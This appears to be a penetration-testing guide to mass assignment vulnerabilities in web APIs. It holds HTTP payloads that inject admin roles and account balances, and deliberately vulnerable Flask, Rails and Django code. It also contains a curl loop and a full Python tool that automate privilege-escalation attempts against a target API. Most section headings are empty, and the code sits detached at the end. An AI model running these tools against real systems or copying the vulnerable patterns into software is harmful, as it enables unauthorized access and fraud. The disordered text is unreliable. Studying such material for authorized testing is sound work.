Mass assignment vulnerabilities occur when an application automatically binds user input to internal object properties without proper filtering, allowing attackers to modify fields that should be restricted. This happens when frameworks automatically map HTTP parameters to object attributes, enabling attackers to inject additional parameters to modify sensitive fields like roles, permissions, prices, or internal flags.
Vulnerable Scenario Example
Legitimate user registration:
POST /api/register HTTP/1.1Content-Type:application/json{"username":"newuser","email":"user@example.com","password":"password123"}
Mass assignment attack:
POST /api/register HTTP/1.1Content-Type:application/json{"username":"newuser","email":"user@example.com","password":"password123","role":"admin","is_admin":true,"account_balance":999999,"verified":true,"internal_notes":"backdoor account"}
Vulnerable backend code:
Attack Result: The application accepts and processes all submitted fields, creating an admin user with elevated privileges and a large account balance, bypassing intended registration restrictions.
Common Mass Assignment Attack Patterns
Privilege Escalation
Role-Based Privilege Escalation:
Account Privilege Modification:
Financial Manipulation
E-commerce Price Tampering:
Account Balance Manipulation:
Internal Field Modification
System Configuration Tampering:
Audit and Tracking Bypass:
Framework-Specific Mass Assignment
Ruby on Rails
Strong Parameters Bypass:
Attack payload:
Django/Python
Model Field Injection:
Attack with Django-specific fields:
Node.js/Express
Object Property Injection:
Prototype pollution attack:
ASP.NET
Model Binding Exploitation:
Attack with .NET-specific properties:
Mass Assignment Testing Methodology
Parameter Discovery and Enumeration
Using Burp Suite Parameter Mining:
Manual Parameter Discovery:
Automated Mass Assignment Testing
Python Testing Framework:
Postman Mass Assignment Testing
Collection Structure:
Pre-request Script for Parameter Injection:
Advanced Mass Assignment Techniques
Blind Mass Assignment
Response-Based Detection:
Time-Based Mass Assignment
Performance Impact Testing:
Content-Type Based Mass Assignment
Different Encoding Tests:
Business Impact Analysis
Financial Impact Scenarios
E-commerce Platform:
Banking/Fintech Applications:
Access Control Impact
Administrative Privilege Escalation:
Testing Checklist
Mass Assignment Test Scenarios
User Management Tests:
[ ] Registration with role/admin fields
[ ] Profile updates with privilege escalation
[ ] Password resets with account manipulation
[ ] User deletion with audit bypass
Financial System Tests:
[ ] Payment processing with amount manipulation
[ ] Account creation with balance inflation
[ ] Transaction creation with unauthorized transfers
[ ] Billing updates with discount manipulation
Business Logic Tests:
[ ] Product creation with price manipulation
[ ] Order processing with discount stacking
[ ] Inventory updates with quantity manipulation
[ ] Subscription upgrades with tier bypass
Framework-Specific Tests:
[ ] Django model field injection
[ ] Rails strong parameter bypass
[ ] Node.js prototype pollution
[ ] ASP.NET model binding exploitation
Content-Type Variations:
[ ] JSON mass assignment
[ ] Form-encoded mass assignment
[ ] XML mass assignment
[ ] Multipart form mass assignment
Detection Indicators
Response Analysis:
[ ] Additional fields in response JSON
[ ] Status code changes with extra parameters
[ ] Error messages revealing accepted fields
[ ] Response timing differences
Behavioral Changes:
[ ] User account privilege changes
[ ] Financial balance modifications
[ ] System configuration alterations
[ ] Audit log inconsistencies
Mass assignment vulnerabilities represent a critical security flaw in modern web applications that can lead to privilege escalation, financial fraud, and complete system compromise. Understanding how different frameworks handle parameter binding is essential for identifying and exploiting these vulnerabilities during security assessments.
# Vulnerable Flask example
@app.route('/api/register', methods=['POST'])
def register():
user_data = request.get_json()
# Dangerous: Direct assignment of all JSON fields
user = User(**user_data) # Mass assignment vulnerability
db.session.add(user)
db.session.commit()
return {"message": "User created successfully"}
# Vulnerable Rails controller
class UsersController < ApplicationController
def create
# Vulnerable: No parameter filtering
@user = User.new(params[:user])
@user.save
end
def update
# Vulnerable: Mass assignment
@user.update(params[:user])
end
end
# Vulnerable Django view
def create_user(request):
data = json.loads(request.body)
# Vulnerable: Direct model creation
user = User.objects.create(**data)
return JsonResponse({'id': user.id})
# Vulnerable SQLAlchemy
def update_user(user_id, data):
user = User.query.get(user_id)
# Vulnerable: Mass assignment
for key, value in data.items():
setattr(user, key, value)
db.session.commit()
1. Capture legitimate API requests
2. Use Param Miner extension:
- Enable "Guess params" on all requests
- Use common parameter wordlists
- Check response differences
3. Look for additional fields in responses
4. Test discovered parameters in requests
# Common sensitive parameters to test
sensitive_params=(
"role" "admin" "is_admin" "is_superuser" "permissions"
"balance" "credit" "price" "cost" "amount"
"verified" "active" "enabled" "premium"
"created_at" "updated_at" "id" "user_id"
"debug" "internal" "system" "config"
)
# Test each parameter with API request
for param in "${sensitive_params[@]}"; do
echo "Testing parameter: $param"
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d "{\"username\":\"test\",\"$param\":\"admin\"}"
done
import requests
import json
import itertools
class MassAssignmentTester:
def __init__(self, base_url):
self.base_url = base_url
self.findings = []
self.common_fields = [
# Privilege escalation fields
'role', 'admin', 'is_admin', 'is_superuser', 'permissions',
'access_level', 'user_type', 'account_type', 'privilege',
# Financial fields
'balance', 'credit', 'price', 'cost', 'amount', 'salary',
'discount', 'premium', 'subscription', 'tier',
# Status fields
'verified', 'active', 'enabled', 'confirmed', 'approved',
'status', 'state', 'locked', 'banned',
# Internal fields
'id', 'user_id', 'internal', 'system', 'debug', 'test',
'created_at', 'updated_at', 'deleted_at', 'version',
# Framework-specific fields
'is_staff', 'is_superuser', 'groups', 'user_permissions', # Django
'admin', 'moderator', 'owner', # Rails
'__proto__', 'constructor', 'prototype' # Node.js
]
def test_registration_endpoint(self, endpoint, base_payload):
"""Test mass assignment in user registration"""
print(f"Testing registration endpoint: {endpoint}")
# Test baseline request
baseline_response = self._send_request(endpoint, base_payload)
baseline_user_id = self._extract_user_id(baseline_response)
# Test with additional fields
for field in self.common_fields:
test_payload = base_payload.copy()
# Test different field values
test_values = [True, "admin", 1, 999999, "true"]
for value in test_values:
test_payload[field] = value
response = self._send_request(endpoint, test_payload)
if self._is_successful_response(response):
user_id = self._extract_user_id(response)
# Check if field was accepted by fetching user data
if user_id and self._verify_field_assignment(user_id, field, value):
self.findings.append({
'endpoint': endpoint,
'field': field,
'value': value,
'type': 'Registration Mass Assignment',
'user_id': user_id
})
# Reset for next test
test_payload = base_payload.copy()
def test_update_endpoint(self, endpoint, user_id, base_payload):
"""Test mass assignment in user update"""
print(f"Testing update endpoint: {endpoint}")
# Get current user state
current_state = self._get_user_state(user_id)
for field in self.common_fields:
test_payload = base_payload.copy()
test_payload[field] = "admin"
response = self._send_request(f"{endpoint}/{user_id}", test_payload, method='PUT')
if self._is_successful_response(response):
# Check if field was updated
new_state = self._get_user_state(user_id)
if new_state and field in new_state and new_state[field] != current_state.get(field):
self.findings.append({
'endpoint': endpoint,
'field': field,
'value': test_payload[field],
'type': 'Update Mass Assignment',
'user_id': user_id,
'old_value': current_state.get(field),
'new_value': new_state[field]
})
def test_nested_object_assignment(self, endpoint, base_payload):
"""Test nested object mass assignment"""
nested_structures = [
# User object nesting
{"user": base_payload},
{"data": base_payload},
{"attributes": base_payload},
# Deep nesting
{"user": {"profile": base_payload}},
{"data": {"user": base_payload}}
]
for structure in nested_structures:
# Add sensitive fields to nested structure
for field in ['admin', 'role', 'permissions']:
test_structure = json.loads(json.dumps(structure)) # Deep copy
# Add field to deepest level
deepest = test_structure
while isinstance(list(deepest.values())[0], dict):
deepest = list(deepest.values())[0]
deepest[field] = "admin"
response = self._send_request(endpoint, test_structure)
if self._is_successful_response(response):
self.findings.append({
'endpoint': endpoint,
'field': field,
'structure': test_structure,
'type': 'Nested Object Mass Assignment'
})
def test_array_assignment(self, endpoint, base_payload):
"""Test array-based mass assignment"""
array_fields = [
'permissions', 'roles', 'groups', 'tags', 'categories'
]
for field in array_fields:
test_payload = base_payload.copy()
test_payload[field] = ["admin", "superuser", "root"]
response = self._send_request(endpoint, test_payload)
if self._is_successful_response(response):
user_id = self._extract_user_id(response)
if self._verify_field_assignment(user_id, field, test_payload[field]):
self.findings.append({
'endpoint': endpoint,
'field': field,
'value': test_payload[field],
'type': 'Array Mass Assignment'
})
def _send_request(self, endpoint, payload, method='POST'):
url = f"{self.base_url}{endpoint}"
headers = {'Content-Type': 'application/json'}
try:
if method == 'POST':
return requests.post(url, json=payload, headers=headers)
elif method == 'PUT':
return requests.put(url, json=payload, headers=headers)
elif method == 'PATCH':
return requests.patch(url, json=payload, headers=headers)
except Exception as e:
print(f"Request error: {e}")
return None
def _is_successful_response(self, response):
return response and response.status_code in [200, 201, 202]
def _extract_user_id(self, response):
if not response:
return None
try:
data = response.json()
# Common user ID field names
id_fields = ['id', 'user_id', 'userId', '_id', 'uid']
for field in id_fields:
if field in data:
return data[field]
# Check nested structures
if 'user' in data and isinstance(data['user'], dict):
for field in id_fields:
if field in data['user']:
return data['user'][field]
except:
pass
return None
def _get_user_state(self, user_id):
"""Fetch current user state to verify field assignments"""
try:
response = requests.get(f"{self.base_url}/api/users/{user_id}")
if response.status_code == 200:
return response.json()
except:
pass
return None
def _verify_field_assignment(self, user_id, field, expected_value):
"""Verify if field was actually assigned"""
user_state = self._get_user_state(user_id)
if not user_state:
return False
# Check direct field
if field in user_state:
return user_state[field] == expected_value
# Check nested user object
if 'user' in user_state and field in user_state['user']:
return user_state['user'][field] == expected_value
return False
def generate_report(self):
print(f"\n=== Mass Assignment Vulnerability Report ===")
print(f"Total vulnerabilities found: {len(self.findings)}")
for finding in self.findings:
print(f"\n[!] {finding['type']}")
print(f" Endpoint: {finding['endpoint']}")
print(f" Field: {finding['field']}")
print(f" Value: {finding['value']}")
if 'user_id' in finding:
print(f" User ID: {finding['user_id']}")
if 'old_value' in finding:
print(f" Changed: {finding['old_value']} → {finding['new_value']}")
# Usage example
tester = MassAssignmentTester('https://api.target.com')
# Test registration endpoint
base_registration = {
"username": "testuser",
"email": "test@example.com",
"password": "password123"
}
tester.test_registration_endpoint('/api/register', base_registration)
# Test update endpoint
base_update = {
"name": "Updated Name",
"bio": "Updated bio"
}
tester.test_update_endpoint('/api/users', 'test_user_id', base_update)
# Test nested and array assignments
tester.test_nested_object_assignment('/api/register', base_registration)
tester.test_array_assignment('/api/register', base_registration)
tester.generate_report()